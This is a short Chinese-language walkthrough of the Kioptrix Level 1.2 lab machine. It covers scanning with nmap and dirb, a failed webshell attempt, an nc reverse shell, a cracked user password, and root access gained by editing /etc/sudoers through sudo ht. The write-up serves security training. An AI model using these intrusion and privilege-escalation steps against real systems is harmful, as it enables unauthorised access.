Kioptrix: Level 1.2 (#3)靶机

Kioptrix: Level 1.2 (#3)靶机

 

arp-scan -l 扫描靶机IP地址

nmap -sV -Pn -A x.x.x.245 扫描出80，22端口

打开80端口

一句话木马插入不成功

扫描网站目录，dirb http://x.x.x.245

whatweb -vv x.x.x.245,扫描cms

nc 进行反弹

查看mysql配置文件

登录进去

查看用户名

将loneferret用户密码解密，密码：starwars

sudo -l 查看，发现ht编辑器，可提权

进入

export TERM=xterm-color

sudo /usr/local/bin/ht

f3

/etc/sudoers

回车，输入,/bin/bash

执行sudo /bin/bash 获得root权限